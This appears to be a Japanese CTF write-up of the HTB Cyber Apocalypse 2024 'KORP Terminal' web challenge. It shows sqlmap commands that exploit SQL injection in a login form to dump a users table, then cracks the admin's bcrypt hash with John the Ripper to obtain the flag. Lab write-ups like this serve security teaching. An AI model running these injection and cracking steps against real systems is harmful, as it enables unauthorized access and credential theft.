【HTB Cyber Apocalypse 2024】:Web -KORP Terminal -Writeup

# 問題概要

>Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

>あなたの派閥は KORP™ ターミナルに侵入し、Legionaries の特権情報にアクセスし、Fray の主催者についてさらに詳しく調べなければなりません。端末のログイン画面は、最先端の暗号化およびセキュリティプロトコルによって保護されています。

サイトにアクセスすると、ログイン画面が表示され認証情報取得を試みます。

![login_screen.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7046ffc8-0019-9954-4b86-17525c1679f8.png)

# 解法

まず`sqlmap`でテーブルを列挙してみます。

`sqlmap -u http://83.136.255.150:40003 --data "username=admin&password=admin" --batch --ignore-code=401 --dbms=mysql --tables`

```
Database: information_schema
[79 tables]
+---------------------------------------+
| ALL_PLUGINS                           |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| CHECK_CONSTRAINTS                     |
| CLIENT_STATISTICS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMN_PRIVILEGES                     |
| ENABLED_ROLES                         |
| FILES                                 |
| GEOMETRY_COLUMNS                      |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INDEX_STATISTICS                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_CMP_RESET                      |
| INNODB_FT_BEING_DELETED               |
| INNODB_FT_CONFIG                      |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_DELETED                     |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_METRICS                        |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_TABLESPACES                |
| INNODB_SYS_TABLESTATS                 |
| INNODB_SYS_VIRTUAL                    |
| INNODB_TABLESPACES_ENCRYPTION         |
| INNODB_TRX                            |
| KEYWORDS                              |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| SPATIAL_REF_SYS                       |
| SQL_FUNCTIONS                         |
| STATISTICS                            |
| SYSTEM_VARIABLES                      |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLE_STATISTICS                      |
| THREAD_POOL_GROUPS                    |
| THREAD_POOL_QUEUES                    |
| THREAD_POOL_STATS                     |
| THREAD_POOL_WAITS                     |
| USER_PRIVILEGES                       |
| USER_STATISTICS                       |
| VIEWS                                 |
| COLUMNS                               |
| ENGINES                               |
| EVENTS                                |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| TABLES                                |
| TRIGGERS                              |
| user_variables                        |
+---------------------------------------+

Database: korp_terminal
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+
```

`korp_terminal`DBの`users`テーブルが判明したので、`users`テーブルの中身を列挙します。

`sqlmap -u http://83.136.255.150:40003 --data "username=admin&password=admin" --batch --ignore-code=401 --dbms=mysql --dump`

```
Database: korp_terminal
Table: users
[1 entry]
+----+--------------------------------------------------------------+----------+
| id | password                                                     | username |
+----+--------------------------------------------------------------+----------+
| 1  | $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv. | admin    |
+----+--------------------------------------------------------------+----------+
```

`username`と`password`が取得できました。
ですが、パスワードはbcryptでハッシュ化されているのでわかりません。

そこで`John the Ripper`を使ってパスワード解析を行います。

```
┌──(kali㉿kali)-[~]
└─$ john hash.txt --show                                            
?:password123

1 password hash cracked, 0 left                             
```

最終的に`username=admin&password=password123`という結果が得られたの、ログインするとフラグが表示されます。

`HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}`